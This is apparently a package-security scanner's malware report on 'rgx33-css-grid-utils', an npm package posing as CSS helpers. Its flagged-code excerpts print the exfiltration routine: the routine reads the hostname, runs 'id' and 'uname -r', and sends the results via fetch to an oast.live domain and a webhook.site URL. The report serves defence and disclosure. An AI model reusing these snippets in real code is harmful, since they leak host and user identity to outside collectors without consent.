registry / Data exfiltration / rgx33-css-grid-utils

rgx33-css-grid-utils

Simple CSS grid helper utilities

This report shows the evidence for rgx33-css-grid-utils@1.0.0, the only known version.

AI Security Review

scanned 21d ago · by lpm-firewall-ai

Inspected source demonstrates automatic external transmission of host and user information unrelated to CSS utilities. The inert default entrypoint limits activation but does not neutralize the active payload exposed through the registry manifest.

Static reason

One or more suspicious static signals were detected.

Trigger

Importing or otherwise evaluating thunderboltRegistry.js in an environment with the relevant APIs available.

Impact

Unconsented disclosure of hostname, process, user identity and kernel information; local system commands execute during payload loading.

Mechanism

An immediate function reads process metadata and the hostname, executes system identification commands, and sends results through fetch to external collection endpoints.

Attack narrative

The package ships an executable registry asset that immediately fingerprints its execution environment and sends collected information to external endpoints. It also invokes local system identification commands. The default package import is inert, but directly loading the shipped registry asset activates the collection without a user command or opt-in.

AI rationale

Evidence

thunderboltRegistry.jsregistry-manifest.min.jsonpackage.json

Network endpoints2

davdpb8lhot13kgmnhp0863x9g83mpswq.oast.livewebhook.site/0492a36c-4d7b-408a-865c-226db25987ba

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

thunderboltRegistry.js immediately collects the hostname and process metadata and sends them to an external host.
thunderboltRegistry.js executes id and uname -r and transmits system information.
The same executable code sends collected host and user information to webhook.site without consent.
registry-manifest.min.json maps registry assets to the executable thunderboltRegistry.js payload.
package.json ships the registry payload, although its default index.js entrypoint exports an empty object.

Evidence against

No install lifecycle hook or runtime dependency is declared.
The default index.js entrypoint does not activate the payload; loading thunderboltRegistry.js does.

Behavioral surface

Source

ChildProcessNetworkShell

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 2.61 KB of source, external domains: webhook.site

Source & flagged code

8 flagged

thunderboltRegistry.jsView file

8var hn = "unknown"; L9: try { hn = s(require("os").hostname()); } catch(e) {} L10: try { fetch("https://" + hn + "." + pid + "." + nv + "." + pl + ".h." + d + "/z"); } catch(e) {} L11: var uid = "noid"; L12: try { L13: var cp = require("child_process"); L14: if (cp && typeof cp.execSync === "function") {

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

thunderboltRegistry.jsView on unpkg · L8

9try { hn = s(require("os").hostname()); } catch(e) {} try { fetch("https://" + hn + "." + pid + "." + nv + "." + pl + ".h." + d + "/z"); } catch(e) {} var uid = "noid"; try {

High

Ai Review Evidence

thunderboltRegistry.js immediately collects the hostname and process metadata and sends them to an external host.

thunderboltRegistry.jsView on unpkg · L9

1(function(){ var p = (typeof process !== "undefined") ? process : null; var d = "[redacted].oast.live"; va

High

Ai Review Evidence

thunderboltRegistry.js immediately collects the hostname and process metadata and sends them to an external host.

thunderboltRegistry.jsView on unpkg · L1

13var cp = require("child_process"); if (cp && typeof cp.execSync === "function") { uid = s(cp.execSync("id", {encoding: "utf8", timeout: 3000})); try { fetch("https://" + uid + ".id." + d + "/z"); } catch(e) {} var k = s(cp.execSync("uname -r", {encoding: "utf8", ti

High

Ai Review Evidence

thunderboltRegistry.js executes id and uname -r and transmits system information.

thunderboltRegistry.jsView on unpkg · L13

21try { fetch("https://webhook.site/0492a36c-4d7b-408a-865c-226db25987ba?where=wix-blog&hn=" + hn + "&pid=" + pid + "&nv=" + nv + "&uid=" + uid); } catch(e) {} })(); var hosts = [ "thunderboltR

High

Ai Review Evidence

The same executable code sends collected host and user information to webhook.site without consent.

thunderboltRegistry.jsView on unpkg · L21

registry-manifest.min.jsonView file

2"thunderboltRegistry.js": "https://static.parastorage.com/unpkg/rgx33-css-grid-utils@1.0.0/thunderboltRegistry.js", "siteAss

High

Ai Review Evidence

registry-manifest.min.json maps registry assets to the executable thunderboltRegistry.js payload.

registry-manifest.min.jsonView on unpkg · L2

package.jsonView file

4"description": "Simple CSS grid helper utilities", "main": "index.js", "files": [ "registry-manifest.min.json", "thunderboltRegistry.js", "index.js" ], "k

High

Ai Review Evidence

package.json ships the registry payload, although its default index.js entrypoint exports an empty object.

package.jsonView on unpkg · L4

index.jsView file

1module.exports = {};

High

Ai Review Evidence

package.json ships the registry payload, although its default index.js entrypoint exports an empty object.

index.jsView on unpkg · L1

Source & flagged code

8 flagged · loading source

thunderboltRegistry.jsView file

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

thunderboltRegistry.jsView on unpkg · L8

9try { hn = s(require("os").hostname()); } catch(e) {} try { fetch("https://" + hn + "." + pid + "." + nv + "." + pl + ".h." + d + "/z"); } catch(e) {} var uid = "noid"; try {

High

Ai Review Evidence

thunderboltRegistry.js immediately collects the hostname and process metadata and sends them to an external host.

thunderboltRegistry.jsView on unpkg · L9

1(function(){ var p = (typeof process !== "undefined") ? process : null; var d = "[redacted].oast.live"; va

High

Ai Review Evidence

thunderboltRegistry.js immediately collects the hostname and process metadata and sends them to an external host.

thunderboltRegistry.jsView on unpkg · L1

High

Ai Review Evidence

thunderboltRegistry.js executes id and uname -r and transmits system information.

thunderboltRegistry.jsView on unpkg · L13

21try { fetch("https://webhook.site/0492a36c-4d7b-408a-865c-226db25987ba?where=wix-blog&hn=" + hn + "&pid=" + pid + "&nv=" + nv + "&uid=" + uid); } catch(e) {} })(); var hosts = [ "thunderboltR

High

Ai Review Evidence

The same executable code sends collected host and user information to webhook.site without consent.

thunderboltRegistry.jsView on unpkg · L21

registry-manifest.min.jsonView file

2"thunderboltRegistry.js": "https://static.parastorage.com/unpkg/rgx33-css-grid-utils@1.0.0/thunderboltRegistry.js", "siteAss

High

Ai Review Evidence

registry-manifest.min.json maps registry assets to the executable thunderboltRegistry.js payload.

registry-manifest.min.jsonView on unpkg · L2

package.jsonView file

4"description": "Simple CSS grid helper utilities", "main": "index.js", "files": [ "registry-manifest.min.json", "thunderboltRegistry.js", "index.js" ], "k

High

Ai Review Evidence

package.json ships the registry payload, although its default index.js entrypoint exports an empty object.

package.jsonView on unpkg · L4

index.jsView file

1module.exports = {};

High

Ai Review Evidence

package.json ships the registry payload, although its default index.js entrypoint exports an empty object.

index.jsView on unpkg · L1

Findings

8 High2 Medium2 Low

HighSandbox Evasion Gated CapabilitythunderboltRegistry.js

HighAi Review EvidencethunderboltRegistry.js

HighAi Review Evidenceregistry-manifest.min.json

HighAi Review Evidencepackage.json

HighAi Review Evidenceindex.js

MediumNetwork

MediumStructural Risk Force Deep Review

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to rgx33-css-grid-utils@1.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing rgx33-css-grid-utils@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-04 23:45:18.108Z (UTC).

Source advisory published: 2026-10-04 23:26:04.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

1.0.0latestshownMaliciousData ExfiltrationBlockPublishedOct 1, 2026, 10:39 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Related packages

Other data exfiltration packages

Source & flagged code